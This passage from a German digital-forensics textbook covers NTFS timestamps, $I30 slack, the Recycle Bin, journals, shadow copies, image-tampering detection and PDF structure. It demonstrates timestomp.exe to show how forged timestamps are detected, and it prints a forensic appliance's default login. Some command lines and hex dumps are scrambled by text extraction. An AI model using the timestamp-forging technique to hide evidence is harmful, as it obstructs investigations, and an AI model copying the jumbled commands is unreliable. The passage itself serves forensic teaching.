Vier kommen aus dem $STANDARD_INFORMATION Attribut im Dateieintrag, vier weitere vom $FILE_NAME Attribut im selben Eintrag und weitere vier vom $FILE_NAME Attribut des Index-Eintrags ($I30) desjenigen Ordners in dem die Datei liegt. Hierbei kann das $FILE_NAME Attribut nur vom Kernel verändert werden und so kann man Manipulationsversuche in vielen Fällen durch den Abgleich der drei Orte in denen die Timestamps gespeichert sind aufdecken. Sehen wir uns kurz an wann welche Einträge aktualisiert werden: 227
Wenn wir uns diese Tabelle ansehen können wir eine Tatsache ableiten die viele Anfänger oftmals fälschlicherweise für eine Manipulation halten. Eine Datei deren letzte Modifikation vor dem Datum der Erstellung liegt könnte theoretisch eine schlampige Manipulation sein, aber wahrscheinlicher ist es eine unveränderte Kopie einer Datei! $STANDARD_INFORMATION wird verwendet bei der Anzeige im Explorer und die oben dargestellte Tabelle bildet das Verhalten ab, wenn mit der grafischen Oberfläche gearbeitet wird. Bei älteren Versionen von Windows 10 unterscheidet sich das Verhalten vom Explorer zum copy Befehl in der Eingabeaufforderung. Während der Explorer $STANDARD_INFORMATION den Eintrag Entry date von der Original Datei übernimmt, machte der copy Befehl das nicht. Bei meinem Windows 10 (2004, Build 19041.685) verhielt sich der copy Befehl gleich wie der Explorer. Das Verhalten von $FILE_NAME unterscheidet sich davon stark: 228
Wenn Sie also eventuelle Manipulationen der Zeitstempel untersuchen wollen lege ich Ihnen den folgenden Artikel von SANS ans Herz: https://www.sans.org/blog/digital-forensics-detecting-time-stampmanipulation/ Außerdem empfiehlt es sich das Verhalten mit der exakt gleichen WindowsVersion zu prüfen denn offensichtlich ändert sich das Verhalten mit der Zeit. So hat eine ältere Windows 10 Version nicht alle Werte in $FILE_NAME auf den Zeitpunkt der Kopie gesetzt und die Einträge Modification date und Entry date in $FILE_NAME wichen von den beiden anderen ab. Die oben dargestellten Tabellen sind also keine unumstößliche Wahrheit, sondern nur eine Momentaufnahme der von mir verwendeten Windows-Version! Wenn wir nun auch noch das Windows Subsystem Linux (WSL) betrachten dann werden wir feststellen, dass WSL sich wiederum anders verhält und das Änderungsdatum in $STANDARD_INFORMATION nicht übernimmt, wenn dir eine Datei mit dem cp Befehl kopieren. Zu Testzwecken habe ich die Zeitstempel einer Datei mit timestomb.exe manipuliert: 229
C:\FORENSIK> dir *.xlsx 13.07.2021 00:02 33.196.266 SRUM_DUMP_OUTPUT.xlsx C:\FORENSIK> timestomp.exe SRUM_DUMP_OUTPUT.xlsx -z "Tuesday 01/01/2000 11:12:13 AM" C:\FORENSIK> dir *.xlsx 01.01.2000 11:12 33.196.266 SRUM_DUMP_OUTPUT.xlsx ... und die $MFT exportiert, mit analyzeMFT (https://github.com/dkovar/analyzeMFT) untersucht und dann mit WSL bzw. der bash die Daten gefiltert: C:\FORENSIK> py.exe -2 analyze_mft.py -f L:\$MFT -o report.csv mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK$ head -1 report.txt > filtered.csv mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK$ cat report.txt | grep SRUM_DUMP_OUTPUT >> filtered.csv Danach habe ich die Daten in OpenOffice Calc geöffnet: Dabei fallen uns zwei Dinge auf: 1. Die zeitliche "Auflösung" der Daten stimmt nicht - timestomb.exe kann nur ganze Sekunden setzen aber das System selber arbeitet mit Sekundenbruchteilen. 2. timestomb.exe konnte wie gesagt nur $STANDARD_INFORMATION ändern (rot) und nicht $FILE_NAME (grün). Zur besseren Darstellung im Buch habe ich die Spalten aus $FILE_NAME darunter angeordnet. In der CSV-Datei sind diese Daten natürlich auf einer Zeile hintereinander abgebildet. 230
NTFS Index Attributes - $I30 $I30 Dateien finden sich in vielen Ordnern und enthalten ein Duplikat des $FILE_NAME Attributs mit: vollständigem Dateinamen, übergeordnetem Verzeichnis, MACB Zeitstempel aus $FILE_NAME und Dateigröße für jede Datei in diesem Ordner. Oftmals bleiben diese Informationen auch für gelöschte Dateien im "Slack" der $I30 Dateien erhalten. FTK Imager kann diese Dateien nicht nur anzeigen und exportieren, sondern auch direkt auswerten: Wenn wir den Ordner öffnen sehen wir die $I30 Datei und können diese wie oben gezeigt mit einem Rechtsklick exportieren. Wir sehen aber auch die Datei small_boobies.JPG mit einem durchkreuzten Symbol. Der Eintrag $I30 INDX Entry unter Typ weist uns dann darauf hin, dass diese Datei aufgrund von Überresten in der $I30 Datei angezeigt wird. Wir sind jedoch nicht in der Lage auf diese Datei zuzugreifen da in der $I30 Datei nicht hinterlegt ist auf welchen Clustern diese Datei gespeichert war. Wir sehen aber noch einen weiteren interessanten Eintrag - die Pseudo-Datei hashcat-6.2.0.7z.FileSlack repräsentiert den unbenutzten Teil des letzten 231
Clusters und darin wurden Reste einer zuvor am Rechner gespeicherten CSVDatei entdeckt: Wir erkennen hier Reste der SRUM Auswertung aus dem letzten Kapitel. Offensichtlich wurde beim Kopieren von Hashcat in diesen Ordner ein Teil der ehemaligen Cluster der kurz davor gelöschten CSV-Datei verwendet und damit die gelöschte Datei teilweise Überschrieben. Da CSV ein einfaches Textbasiertes Dateiformat ist, könnten wir einfach die Fragmente der Datei lesen und auswerten. Um noch mehr Informationen aus der $I30 Datei zu extrahieren, nutzen wir das Tool INDXParse (https://github.com/williballenthin/INDXParse) welches wir einfach von GIT klonen können: C:\FORENSIK\INDXParse>py.exe -2 INDXParse.py -c -d L:\$I30 > out.csv WARNING:INDXParse:198: Invalid timestamp, using Epoch timestamp. ... Ausgabe gekürzt Wir erhalten eine Menge an Warnmeldungen aber das ist völlig normal denn nicht alle Daten im Slack-Speicher sind gültige $I30-Datensätze. Wenn wir die CSV-Datei in Excel öffnen, erhalten wir folgende Daten: 232
Hierbei sehen wir jeweils zwei Einträge für hashcat-6.2.0.7z und small_ boobies.JPG - einmal die lange Schreibweise und einmal den auf 8 Zeichen limitierten Dateinamen. Bei small_boobies.JPG finden wir ebenfalls den Vermerk (slack at 0x188), welcher uns auf die Herkunft der Daten hinweist. Ohne die Option -d würde der Slack-Speicher nicht ausgewertet und diese Einträge würden auch nicht gefunden werden. 233
Der Papierkorb Dieses Feature wurde mit Windows 95 eingeführt und hat sich über die Jahre natürlich auch stark verändert. In Windows XP und 2000 war der Papierkorb im Verzeichnis C:\RECYCLER und ab Windows Vista wurde der Ordner zu C:\$Recycle.Bin umbenannt. In Windows XP und 2000 gab es eine INFO2-Datei pro User die unter C:\RECYCLER\ {SID}\INFO2 zu finden war, wobei {SID} hier der SID (Security Identifier) des Useraccounts entsprach, der die Datei gelöscht hatte. In der INFO2 finden sich folgende Informationen: Name und Pfad der gelöschten Datei Dateigröße Datum und Uhrzeit wann die Datei gelöscht wurde Ab Vista werden nun für jede einzelne gelöschte Datei zwei Dateien verwendet C:\$Recycle.Bin\{SID}\$I######.{EXT} INFO2-Datei mit Name und Pfad der gelöschten Datei, Dateigröße, Datum und Uhrzeit wann die Datei gelöscht wurde C:\$Recycle.Bin\{SID}\$R######.{EXT} Die eigentliche gelöschte Datei Hierbei steht ###### für eine 6-stellige automatisch generierte ID und .{EXT} ist die Dateierweiterung (.txt, .zip, .docx, usw.). Somit wäre zB $IKLCQSD.txt die INFO2-Datei und $RKLCQSD.txt die dazugehörige gelöschte Textdatei. Hierbei unterschieden sich die $I######-Dateien in Windows 10 von denen der Vorgänger-Versionen da zusätzlich das Feld File Name Lenght eingefügt wurde. Dies ist auch im Header Feld sichtbar da nun als Version 0x02 und nicht mehr 0x01 wie in den Vorgänger-Versionen gesetzt ist. Diese Dateien können zB mit $I Parse (https://df-stream.com/recycle-bin-iparser/) ausgewertet werden: 234
Zuerst wähle ich Mode -> File aus um eine einzelne Datei zu laden. Wenn ich diese Datei nun mit dem Browse-Button öffne und auf Parse! klicke, erhalte ich folgende Daten: Im Directory-Modus werden alle Dateien gelesen und eine CSV-Datei mit den oben gezeigten Daten angelegt. 235
NTFS Journal Ein sogenanntes "Journaling-Dateisystem" wie zB NTFS unterhält eine Liste von Änderungen die an einem Volume vorgenommen werden. Dadurch können nach einem Absturz oder Stromausfall diese Änderungen rückgängig gemacht werden falls eine Datei beschädigt ist oder das Dateisystem kann damit auch die noch nicht durchgeführten Änderungen beim nächsten Systemstart ausführen und so nach einem Ausfall das Dateisystem wieder auf den letzten Stand bringen. Das erklärt auch warum wir uns in der IT-Forensik für diese Daten interessieren. Die Idee dahinter ist einfach - auf einem magnetischen Datenträger wie einer HDD ist das sequenzielle Schreiben eines großen Blocks viel schneller als das Schreiben vieler kleinerer Blöcke da dies mehrere Zugriffe auf unterschiedliche Bereiche der HDD verursacht denen jeweils ein Suchvorgang vorausgeht um die richtigen Sektoren zu finden. Wenn wir uns nur auf die bereits bekannten Dateien beschränken, dann müssten zumindest $MFT, $I30 in dem Ordner und die Datei selber aktualisiert werden. Darum müssten hier schon drei verschiedene Stellen auf der HDD angesprungen werden, ganz abgesehen davon, dass wir zuerst die ClusterAdressen für die Dateien aus $MFT auslesen müssten. Und das sind noch nicht alle Dateien die aktualisiert würden. Daher werden alle Informationen zuerst in das Journal geschrieben und dann von da aus im Hintergrund an die eigentlichen Positionen auf der HDD übertragen. So können alle Änderungen schnell im Journal gespeichert werden aber bis die Änderung in die eigentlichen Dateien übertragen werden, kann ein wenig Zeit vergehen. Alle modernen Dateisysteme arbeiten mehr oder weniger auf diese Weise. NTFS hat sogar zwei solche Log- bzw. Journal-Dateien: > USN Jornal (Update Sequence Number) unter \$EXTEND\$UsnJrnl und > Logfile (\$LogFile). Wobei hier \ als Root-Verzeichnis der jeweiligen NTFS-Partition zu verstehen ist. Wenn wir in FTK Imager dann auf $UsnJrnl doppelklicken, sehen wir zwei alternative Datenstreams: 236
> \$EXTENDED\$UsnJrnl:$Max und > \$EXTENDED\$UsnJrnl:$J. $Max ist für die alternativen Datenstreams (ADS) in NTFS zuständig und $J speichert die Veränderungen an den Dateien. $J ist eine sogenannte Sparse-Datei. Das sind Dateien bei denen nicht sofort der ganze Speicher belegt wird. Ein gutes Beispiel dafür wäre die virtuelle HDD einer VM - es würde eine Weile dauern beispielsweise eine 250GB große Datei anzulegen und eine VM würde nicht sofort den ganzen Speicher belegen, sondern erst über die Zeit füllen. Daher wird im $STANDARD_INFORMATION Attribut des $MFT-Eintrags unter File Permissions das Sparse File Bit gesetzt. Dies kann man zB mit Active@ Disk Editor gut sehen. Im $DATA Attribut wird dies in den Flags ebenfalls angezeigt. So bekommt die Datei eine bestimmte Größe, der Speicher wird aber nicht sofort belegt. $LogFile hingegen enthält die Veränderungen an Metadaten. Das Journal kann nach dem Einsatz von Antiforensik-Tools die letzte Möglichkeit sein um nachzuweisen, dass eine bestimmte Datei am Rechner war. Leider sind die Daten im Journal nur begrenzte Zeit verfügbar aber es ist möglich ältere Datenstände aus Shadow Copies zu extrahieren, falls welche für das Volume angelegt wurden. Nachdem wir nun $J, $MFT und $LogFile extrahiert haben, können wir die Daten mit > dfir_ntfs (https://github.com/msuhanov/dfir_ntfs) > MFTECmd (https://ericzimmerman.github.io/#!index.md) parsen: C:\FORENSIK\dfir_ntfs> py.exe -3 ntfs_parser --mft L:\$MFT ..\001\mft.csv C:\FORENSIK\dfir_ntfs> py.exe -3 ntfs_parser --usn L:\$MFT L:\$J ..\001\usn.csv C:\FORENSIK\dfir_ntfs> py.exe -3 ntfs_parser --log L:\$MFT L:\$LogFile ..\001\log.txt C:\FORENSIK> MFTECmd.exe -f L:\$MFT --csv 001 C:\FORENSIK> MFTECmd.exe -f L:\$J --csv 001 237
Danach können wir nach unserer gelöschten small_boobies.JPG suchen: mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK/001$ mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK/001$ bies.JPG >> sb_mft.csv mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK/001$ mark@DESKTOP-KPTNVC9:/mnt/c/FORENSIK/001$ bies.JPG >> sb_usn.csv head -1 mft.csv > sb_mft.csv cat mft.csv | grep small_boohead -1 usn.csv > sb_usn.csv cat usn.csv | grep small_boo- MFTECmd kann derzeit noch nicht die $LogFile parsen aber das wird in einer späteren Version möglich sein. Dafür kann MFTECmd noch $Boot und $SDS parsen. Die $Boot enthält Informationen zum Boot-Sektor, Größe des Volumes, der Cluster, der Sektoren, usw., Volume-ID, etc. Die $SDS ist ein alternativer Datenstrom von $Secure und Enthält User- und Gruppen-SIDs und die dazugehörigen Berechtigungen für den Datenzugriff. Nachdem wir die Daten gefiltert haben, können wir die Daten mit Eric Zimmermans Timeline Explorer öffnen: dfir_ntfs hat auch den Slack-Speicher geparst und die gelöschte Datei sowie den Zeitstempel des Löschvorgangs gefunden. Falls Sie beim Laden der Dateien eine Fehlermeldung bekommen dann liegt das daran: 238
Öffnen Sie den Unterordner Plugins, klicken Sie jede DLL-Datei mit rechts an und Wählen Sie dann Eigenschaften aus. Setzen Sie danach unter Sicherheit den Haken bei Zulassen und klicken Sie dann auf OK. Danach sollte Timeline Explorer wie erwartet arbeiten. 239
MFTECmd hat keine Informationen über die gelöschte Datei aus dem Ordner BadStuff2 gefunden! 0x10 bei den Timestamps steht übrigens für $STANDARD_ INFORMATION und 0x30 für $FILE_NAME. Sollte der Zeitstempel in den Spalten mit 0x30 fehlen, dann stimmt dieser mit der 0x10 Spalte überein. Wenn man sich daran gewöhnt hat erleichtert dies das Vergleichen enorm. dfir_ntfs findet auch hier einige Informationen mehr - unter anderem den ursprünglichen Dateinamen von small_boobies.JPG. 240
MFTECmd hatte offensichtlich auch weniger Daten als dfir_ntfs ermittelt, aber wie wir gleich sehen werden, lag das an mir und meiner Filterung. Genau darum sollte man mindestens mit zwei Tools arbeiten und die Ergebnisse vergleichen. Im Idealfall liefern beide Tools dann die gleichen Ergebnisse und bestätigen somit die Daten des jeweils anderen. Wenn wir die gesamte Journal-Datei öffnen und dann nach der Entry Number filtern, erhalten wir auch den vorherigen Dateinamen. Das ist ein gutes Beispiel dafür, dass man Ergebnisse hinterfragen und Vergleichen muss - vor allem wenn man Daten filtert. Der Timeline Explorer besitzt übrigens zwei Spalten SI<FN und u Sec Zeros, welche auf Manipulationen hindeuten, wenn wir $MFT-Daten betrachten. Es wäre aber nicht Windows, wenn es nicht auch im Normalbetrieb vorkommen würde, dass diese Zeitstempel nicht übereinstimmen oder nicht irgendwelche Umstände dafür sorgen, dass Zeitstempel ohne die Mikrosekunden gespeichert werden! Ich habe dies auf meiner Forensik-Workstation mit einem Python-Script getestet und bei 364.000 von 682.000 Dateien passte zumindest ein Zeitstempel nicht zusammen und bei 175.000 Dateien war zumindest ein Zeitstempel ohne Mikrosekunden gespeichert. Statistisch gesehen gibt es x.000000 - x.999999, also 1.000.000 Möglichkeiten für die Mikrosekunden und nur 0.00001% der Dateien sollten per Zufall eine volle Sekunde treffen aber wir haben gute 25% der Dateien die so einen Zeitstempel haben. Das macht die Suche nach Manipulationen nicht ganz so einfach und die genannten Spalten nur bedingt hilfreich! 241
Timeline Explorer erlaubt es uns auch bei größeren Datenmengen innerhalb der Spalte zu suchen oder diverse Filter zu setzen. Die Datei $LogFile wird zu einer langen Text-Datei geparst. Darin konnte ich keine Einträge zu der JPG-Datei finden aber zu einer anderen Datei aus dem gleichen Ordner: LSN: 79222333642 Transaction ID: 64 Log record, redo operation: UpdateResidentValue, undo operation: UpdateResidentValue Target (file number): 566597 Target path (from $MFT, likely wrong if the file was deleted later): /BadStuff2/links.txt Offset in tagret: 88 LCN(s): 45405621 Redo data: 00000000 A4 00000010 A4 00000020 00 00000030 00 44 44 00 00 6F 6F 00 00 D5 D5 00 00 BD BD 00 00 78 78 00 00 D7 D7 00 00 01-A4 01-20 00-00 00-48 44 00 00 AE 6F 00 00 2C D5 00 00 A2 BD 00 9C 01 78 00 0B 00 D7 00 00 00 01 00 00 00 .Do..x...Do..x.. .Do..x.. ....... ................ ........H.,..... Undo data: 00000000 AE 00000010 09 00000020 00 00000030 00 6B FB 00 00 C4 0D 00 00 AA A8 00 00 98 BD 00 00 78 78 00 00 D7 D7 00 00 01-AE 01-20 00-00 00-F8 6B 00 00 59 C4 00 00 0B AA 00 00 A2 98 00 9C 01 78 00 0B 00 D7 00 00 00 01 00 00 00 .k...x...k...x.. .....x.. ....... ................ .........Y...... Possible update * M timestamp: * A timestamp: * C timestamp: * E timestamp: Possible update * M timestamp: * A timestamp: * C timestamp: * E timestamp: to $STANDARD_INFORMATION (redo data): 2021-07-14 14:37:55.571012 2021-07-14 14:37:55.571012 N/A 2021-07-14 14:37:55.571012 to $STANDARD_INFORMATION (undo data): 2021-07-14 10:11:52.608044 2021-07-14 14:36:39.435956 N/A 2021-07-14 10:11:52.608044 Hierbei können wir schon beobachten wie sich die Metadaten veränderten. 242
Volume Shadow Copies Die Daten hierzu finden sich im Ordner System Volume Information im RootVerzeichnis des Datenträgers. Das ganze System ist sehr ähnlich wie Snapshots bei virtuellen Maschinen. So erhalten wir Zugriff auf ältere Datenstände oder auch auf Hinterlassenschaften die im aktuellen Datenstand sicher gelöscht wurden. Oftmals werden die Shadow Copies beim Vernichten von Beweisen übersehen oder schlicht weg gar nicht bedacht! 243
BILD-FORENSIK Ein weiterer Teilbereich der IT-Forensik ist die Untersuchung von Bildern auf Manipulation. Programme wie Photoshop werden immer mächtiger und gleichzeitig für jedermann erschwinglich dank des Miet-Modells von Adobe. Intelligente Retusche-Tools wie das Ausbessern-Werkzeug oder der Bereichsreparatur Pinsel analysieren die Umgebung und verrechnen Pixel so geschickt, dass der Anwender keine große Übung in der Bildretusche benötigt, um Ergebnisse ohne offensichtliche Retusche-Spuren zu produzieren. Daher wird es immer wichtiger Bilder genauer zu betrachten und zu analysieren um sicherzustellen, dass nichts manipuliert wurde. Dazu will ich Ihnen ein Tool namens Ghiro vorstellen, dass uns bei allen möglichen Analysen von Bildern hilft. Sie können das Tool als OVA-Datei von https://www.getghiro.org/ herunterladen. Diese OVA-Datei kann zB in Virtualbox importiert werden. Vergessen Sie nicht die Netzwerkkarte der VM in den Modus Netzwerkbrücke zu versetzen, wenn Sie die VM von jedem PC in Ihrem Netzwerk aus erreichen wollen. Nachdem Sie die Ghiro-VM gestartet haben, erhalten Sie folgende Meldung: ############################### # Welcome to Ghiro Appliance! # ############################### HOW TO START -----------Appliance IP address is: 192.168.1.134 To start using Ghiro point your browser to http://192.168.1.134 Default credentials: username: ghiro password: ghiromanager *** Remember to change the password at your first access. *** Danach können Sie sich mit den genannten Userdaten mit einem Browser auf der IP der VM anmelden: 244
Nach dem Login erhalten wir eine Übersicht der Fälle und Bilder: Wenn wir links auf den Reiter Cases klicken, können wir mit dem Plus-Button einen neuen Fall hinzufügen: Dann können wir wie üblich Informationen zu dem Fall hinterlegen und den oder die User wählen, die den Fall bearbeiten dürfen: 245
Danach können wir Bilder zum gerade angelegten Fall hinzufügen. Dazu habe ich das Beispieldatenset MICC-F8multi genutzt, welches Sie von folgender URL herunterladen können: http://lci.micc.unifi.it/labd/2015/01/copy-move-forgery-detection-andlocalization/ Nach dem Upload werden diese Bilder dann automatisch analysiert: 246
In der Bildübersicht können wir dann die Analyseergebnisse zu jedem der Bilder einsehen: Wenn Sie einen Bildnahmen anklicken, sehen Sie die verschiedensten durchgeführten Analysen anhand der Reiter: 247
Hier sehen wir die XMP-Daten die bei dem Bild hinterlegt wurden. Der Eintrag CreatorTool: Adobe Photoshop CS5 Windows deutet auf eine mögliche Manipulation hin. Ich muss an dieser Stelle zugeben, dass die Manipulationen in diesem Beispiel-Datensatz schon sehr billig aussehen und auch ohne spezielle Analysen recht einfach zu enttarnen sind. Sie werden aber dennoch sehen, dass eine Interpretation der verschiedensten Analysen doch einiges an Erfahrung und Übung braucht. Daher sind derartige primitive Bildmontagen deutlich besser zum Üben! Wenn Sie das Bild DSC_0082_scale_tampered.jpg öffnen und den Reiter ELA (Error Level Analysis) wählen, sehen Sie das folgende Bild. Die ELA hebt Unterschiede in der Bildkompression hervor. Damit erhalten wir ein primär schwarzes Bild bei dem Kanten hervorgehoben werden. Hierbei sollten Kanten ähnlich aussehen. Wenn Kanten sich auffällig von anderen Kanten im Bild unterscheiden, ist eine Manipulation wahrscheinlich. Texturen sollten unabhängig von der Farbe eine ähnliche Struktur haben und glatte Flächen sollten eine einheitliche Farbe haben. 248
Hier sehen wir gut, dass in dem Fall markante Strukturen hervorgehoben werden und auch wenn es recht klar erkennbar ist, dass zwei der drei Ampeln kopiert und eingefügt wurden, wir dies bei der ELA nicht wirklich deutlich. Auch wenn die Bildmontage nicht wirklich glaubwürdig ist, gibt es dennoch kaum verräterischen Spuren in der ELA. Ich persönlich finde Ghiro diesbezüglich auch relativ eingeschränkt - einerseits kann man die Parameter der Analysen nicht verändern und andererseits fehlen weitere wichtige Analyse-Optionen wie zB Noise Analysis oder Clone Detection. Daher werden wir uns diese mit einem anderen Tool ansehen. Rufen Sie dazu die Webseite https://29a.ch/photo-forensics/ auf. Dann können Sie die Bilder innerhalb dieser Webseite öffnen und die Analysen durchführen. Klicken Sie dazu auf Open File und wählen Sie das Bild DSC_1540_copy_move_Multi.jpg aus. Das erste Tool ist das Lupentool bei dem wir verschiedenste Kontraststeigerungen anwenden können um nicht perfekt überblendete Übergänge und leichte Artefakte wieder sichtbar zu machen: 249
Wir sehen anhand der Kanten gut, dass hier etwas ausgeschnitten und eingefügt wurde. Öffnen wir nun das Bild DSC_0063_01_scale_tampered.jpg und wählen das Clone Detection Werkzeug aus: 250
Wir sehen hier schön, dass auch dieses Werkzeug gewisse Einschränkungen hat. Auch der dritte Fisch wurde offensichtlich kopiert und eingefügt aber die leichte Anpassung der Farben reicht bereits, dass nur noch das Auge als geklont erkannt wird. Wie Sie sich sicher denken, stellen die blau umrandeten Bereiche die geklonten Bereiche dar und die roten Linien verbinden diese im Bild. Auch diese Analyse hat Einschränkungen und wie man hier gut sieht, haben wir auch eine Menge an falsch-positiven Treffern oder es wurden eventuell vorhandene Sensorflecken (Staubpartikel) wegretuschiert! Öffnen wir nun die Datei DSC_0262_scale_tampered.jpg und sehen uns die Noise Level Analyse an: Dieses Beispiel zeigt relativ deutlich, dass die zwei Statuen im Vordergrund nicht an diese Stelle passen. Bei der Noise Level Analyse wird das Bild auf das Rauschen reduziert. Damit heben sich Bereiche ab, die ein anderes Rauschverhalten aufweisen als die Umgebung. Diese Bereiche sind dann mit hoher Wahrscheinlichkeit manipuliert worden. Wenn Sie sich etwas tiefer in die ELA einarbeiten wollen, sehen Sie sich folgende Seite an: https://fotoforensics.com/messages.php?challenge=1 251
Digitale Foto-Forensik ist nicht nur auf diese Analysen beschränkt, sondern erfordert es oftmals, dass Bilder über diverse Plattformen wie die Bildsuche von Google oder Tin-Eye gesucht werden. Oftmals sind Bilder auf Plattformen wie zB Facebook hochgeladen worden und dieser verringern nicht nur die Bildqualität durch eine stärkere Kompression, sondern entfernen auch EXIF-Daten aus den Bildern und verkleinern diese falls sie eine bestimmte Maximalgröße überschreiten. All das erschwert die forensische Analyse und daher ist es oftmals einfacher eine unveränderte Kopie des Bildes im Internet zu finden. Genau da kommen dann Bildsuchmaschinen ins Spiel... Theoretisch könnte man sogar mit der Clone Analyse ein Muster von Staubpartikeln auf dem Sensor ermitteln und damit Bilder einer Kamera zuordnen denn die Wahrscheinlichkeit, dass sich Staupartikel an den gleichen Stellen auf zwei Sensoren festsetzen ist verschwindend gering! In wieweit dies bereits erprobt und forensisch anerkannt ist, müsste man allerdings in entsprechender Fachliteratur recherchieren... Wenn zB Scans von handgeschriebenen Dokumenten verändert werden, ist die Clone Analyse sehr nützlich denn die wahrscheinlichste Möglichkeit die Handschrift zu fälschen ist es einzelne Buchstaben und Ziffern zu kopieren und neu anzuordnen. Error Level und Noise Analyse werden tendenziell wenig Aufschluss bringen, wenn Bereiche innerhalb des Bildes geklont wurden. Vor allem bei Scans deren Rauschen und Error Level ziemlich gleich ist über das gesamte Bild. Eine weitere Methode nach Veränderungen zu suchen wäre der Abgleich der Quantisations-Tabellen in JPEG-Dateien mit unveränderten Bildern aus dem Kamera-Modell von dem die Fotos stammen. Mit den Quantisations-Tabellen wird, vereinfacht gesagt, die Kompression gesteuert. Diese Tabellen legen fest wie viel der Farbinformationen verworfen wird. Somit sind bei jeder Qualitätsstufe in der Kamera bestimmte Quantisations-Tabellen hinterlegt. Diese sind in der Regel je nach Marke und Modell verschiedenen. Daher ist die Chance sehr hoch, dass diese nicht exakt mit den Quantisations-Tabellen einer Kompressionsstufe eines Bildbearbeitungspro-gramms übereinstimmen. 252
Durch den Abgleich der Tabellen mit Bildern, die bekanntermaßen nicht editiert wurden, kann man so Manipulationen aufdecken. Außerdem kann man die Quantisations-Tabellen auch mit denen von bekannten Bildbearbeitungsprogrammen abgleichen und so aufzeigen, dass das diese beispielsweise nicht mit einer Nikon D90 übereinstimmen aber mit Photoshop CS6 in der Kompressionsstufe 11. Mehr dazu erfahren Sie in folgendem PDF: https://www.blackhat.com/presentations/bh-dc-08/Krawetz/Whitepaper/bh-dc08-krawetz-WP.pdf 253
TEMPORÄRE DATEIEN Temporäre Dateien werden normalerweise von einer Anwendung oder einem Betriebssystem erstellt und für kurze Zeit verwendet. Wenn eine Anwendung oder das Betriebssystem ausgeführt wird, erstellt es Dateien mit der Absicht diese später zu entfernen, sobald die Anwendung beendet wird oder die Daten nicht mehr gebraucht werden. Verschiedene Anwendungen erstellen temporäre Dateien aus unterschiedlichen Gründen: > Textbearbeitungsanwendungen erstellen temporäre Dateien, um die Änderungen in den Dokumenten zu speichern und das Rückgängigmachen von Benutzeraktionen zu ermöglichen oder eine Wiederherstellung nach einem Absturz zu ermöglichen. > Das Betriebssystem selbst erstellt aus vielen Gründen temporäre Dateien. Wenn beispielsweise eine Anwendung im RAM nicht verwendet wird und der Speicherplatz benötigt wird, speichert das Betriebssystem die nicht verwendeten Prozessdaten aus dem RAM in eine temporäre Datei auf der Festplatte. Man spricht hierbei auch von "swapping". > Browser erstellen temporäre Dateien um das erneute Laden von Webseiten zu beschleunigen. Dies nennt man "caching". Verschiedene Anwendungen erstellen also aus unterschiedlichen Gründen unterschiedliche temporäre Dateien. Es ist nicht möglich, alle Arten und Verwendungszwecke aller temporären Dateien aufzulisten. Sie müssen sich während einer Untersuchung darüber informieren welche temporären Dateien von welcher Anwendung erstellt werden um zu wissen, auf was Sie stoßen könnten und um keine Daten zu übersehen! Daher ist es unerlässlich sich mit den installierten Programmen auf dem untersuchten System zu beschäftigen. Es ist auch erwähnenswert, dass temporäre Dateien, wie der Name schon sagt, nicht für längere Zeit existieren sollen. Es gibt Szenarien, in denen dies nicht der Fall ist. Das häufigste Problem, das es einer temporären Datei ermöglicht, als dauerhaft zu existieren, sind Abstürze. Wenn eine Anwendung oder das Betriebssystem abstürzt, wird es nicht auf die übliche Weise beendet. Dadurch würden die meisten zuvor erstellten temporären Dateien dauerhaft auf der Festplatte verbleiben oder zumindest so lange bis diverse Tools wie zB CCleaner oder Disk Clenup diese Daten finden und löschen. 254
Darum sind dies auch beliebte Tools um forensische Untersuchungen zu erschweren! Bestimmte temporäre Dateien wie zB die pagefile.sys, in der Windows momentan nicht benötigte Informationen aus dem RAM auslagert, werden bei einem Neustart immer mit neuen Daten überschrieben, da Windows immer den gleichen Dateinamen und Pfad für diese Datei verwendet. Die pagefile.sys ist auch einer der Gründe warum wir ein laufendes System nach der Live-Analyse nicht normal herunterfahren sollten. Durch das Ziehen des Stromsteckers wird verhindert, dass diese Daten gelöscht werden, wie es beim normalen Herunterfahren passieren würde! Manchmal sind temporäre Dateien eine nützliche Informationsquelle, die Metadaten oder frühere und eventuell sogar noch nicht verschlüsselte Versionen des Dokuments enthalten. Wenn sie entfernt werden, können sie von den meisten HDDs immer noch wiederhergestellt und untersucht werden, vorausgesetzt, der Speicherplatz, an dem sie sich befanden, wurde nicht mit anderen Daten überschrieben. Aus diesem Grund ist die Wiederherstellung gelöschter Dateien ein wichtiger Schritt bei der Suche nach Beweisen. 255
PDF-ANALYSE Betrachten wir eine PDF-Datei in einem Hex-Editor dann sehen wir gleich am Beginn der Datei den String %PDF-{Version}%: 00000000: 2550 4446 2d31 2e34 0d25 e2e3 cfd3 0d0a %PDF-1.4.%...... In diesem Beispiel ist dies PDF-1.4 und die weiteren nicht druckbaren Zeichen verdeutlichen, dass PDF ein binäres Dateiformat ist. Eine PDF-Datei ist aus mehreren Bereichen, auch Objekte genannt, zusammengesetzt. Der so genannte Body, in dem wieder diverse Objekte enthalten sein können, wird dem User angezeigt. Objekte können dabei wieder auf andere Objekte zeigen. Normalerweise werden Objekte mit obj eingeleitet und mit endobj geschlossen: 00000010: 00000020: 00000030: 00000040: 00000050: 00000060: 3931 6172 3438 2f4e 4820 656e 2030 697a 2f4f 2031 5b20 646f 206f 6564 2039 342f 3130 626a 626a 2031 332f 5420 3936 0d20 203c 2f4c 4520 3138 2035 2020 3c2f 2031 3231 3739 3637 2020 4c69 3838 3238 3138 5d3e 2020 6e65 3130 3835 312f 3e0d 2020 91 0 obj <</Line arized 1/L 18810 48/O 93/E 212885 /N 14/T 1879181/ H [ 1096 567]>>. endobj. Streams werden verwendet, um große Datentypen wie Bilder, Flashs und Videos darzustellen. Ein Stream wird normalerweise zwischen den Schlüsselwörtern stream und endstream definiert: 00000480: 00000490: ........ 00000650: 00000660: 00000670: 3437 333e 3e73 7472 6060 6062 6060 d9c3 Ausgabe gekürzt 78b2 9b19 c009 8ec1 d28c 40bc 1620 c000 6473 7472 6561 6d0d 6561 6d0d 0a78 da62 c0c6 c0c0 b995 4188 473>>stream..x.b ```b``........A. 1188 a318 6456 ce03 a693 baa1 0d0a 656e 656e 646f 626a 0d39 x...........dV.. ..@.. ........en dstream.endobj.9 Außerdem sind Streams in der Regel komprimiert um Speicherplatz zu sparen, was man bei der Analyse beachten muss. Streams können schädliche Inhalte enthalten, die 